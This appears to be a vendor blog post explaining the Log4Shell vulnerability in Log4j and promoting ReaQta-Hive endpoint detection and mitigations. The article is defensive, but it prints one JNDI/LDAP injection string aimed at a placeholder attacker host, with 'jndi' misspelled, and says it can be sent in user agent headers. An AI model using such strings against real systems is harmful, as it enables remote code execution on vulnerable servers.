Published on December 23, 2021

Defend against Log4Shell exploits (CVE-2021-44228) with ReaQta-Hive

A previously unknown vulnerability, CVE-2021-44228 also dubbed Log4Shell, in Apache’s popular logging library, Log4j, was discovered to have been exploited in the wild for several days prior to the vulnerability being publicly disclosed on 9 December. Affected versions of Log4j include 2.0-beta9 to 2.15.0. The vulnerability, through a simple exploitation, provides an attacker with the ability to leverage the Java Naming and Directory Interface (JNDI) from wherever Log4j is used to initiate a request to a malicious server that they control. The simplicity of the exploit, and ubiquity of Log4j’s use in applications, allows for widespread attacks across the Internet. While the exploit is exceedingly simple to execute, additional post-exploitation activity is required for an attacker to establish a foothold on targeted networks. ReaQta Hive will provide visibility into unexpected behavior of any application leveraging Log4j, and will detect the malicious techniques necessary for post-exploitation behavior.

New call-to-action

CVE-2021-44228 exists within Log4j’s feature enabling the use of JNDI. JNDI allows a java application to look up resources with names. In particular, it allows the use of a service provider interface that can then allow the use of a directory service such as LDAP. As affected versions of Log4j will evaluate a value expression in Java that is sent as logged data, such as ${}, an attacker can include a JNDI lookup that includes a request to a directory or naming service within a value expression. For example, modifying their user agent string (commonly logged by web services) to a value expression, an attacker can trigger Log4j to initiate a request to a server controlled by the attacker. 

An often used example in public discussions of CVE-2021-44228 include triggering a connection to an attacker controlled LDAP server. For this, all that is needed is to include LDAP request in a string representing a value expression such as ${jdni:ldap://<host>:1389/malicious}. This string then needs to be processed along with any text that is handled by Log4j. Once Log4j handles the data, the value expression will be evaluated with eventually the LDAP request initiated. 

New call-to-action

The popularity of Log4j with services ranging from web or desktop applications to database or indexing services, provides an enormous attack surface on the Internet for attackers to target. The simplicity of exploitation, for example simply initiating HTTP requests with modified user agent strings to any web service, allows attackers to easily scale out attacks across the Internet. 

Still, however, an attacker is not finished with establishing a foothold upon successful exploitation. For this the affected server leveraging Log4j must be able to initiate an outbound request to the attacker-controlled server thereby delivering payloads for additional stages of the attack-chain. The exploit can also be used for other arbitrary remote command execution, but other vectors after exploitation would require more knowledge of the targeted environment.The additional requirements force an attacker to conduct activity that would be visible to any effective EDR solution.

Identify attacks with ReaQta-Hive

With ReaQta Hive, the use of the exploit to push any connection attempt to a malicious server would show unexpected network activity from the vulnerable application using affected versions of Log4j.

For example, exploiting a desktop application to contact a malicious LDAP server will show the application establishing a LDAP connection in ReaQta Hive’s telemetry. But follow-on activity required by the attacker does not change, and execution of malicious payloads on targeted servers or leveraging techniques and procedures for post-exploitation means the detection and remediation capabilities are not evaded.

CVE-2021-44228 will certainly remain a widespread problem for the foreseeable future. The number of applications which leverage Log4j is enormous, and additional vulnerable applications will likely continue to be publicly disclosed. However, there are a number of significant mitigations aside from developers upgrading to a fixed version of Log4j, currently version 2.17.0. Restricting unnecessary outbound ports at the firewall level can prevent initiation of malicious requests to external LDAP servers.

Monitoring endpoints and servers with an effective EDR platform which can both identify suspicious activity but also remediate upon detection will also prevent follow-on activity by attackers that attempt to exploit CVE-2021-44228.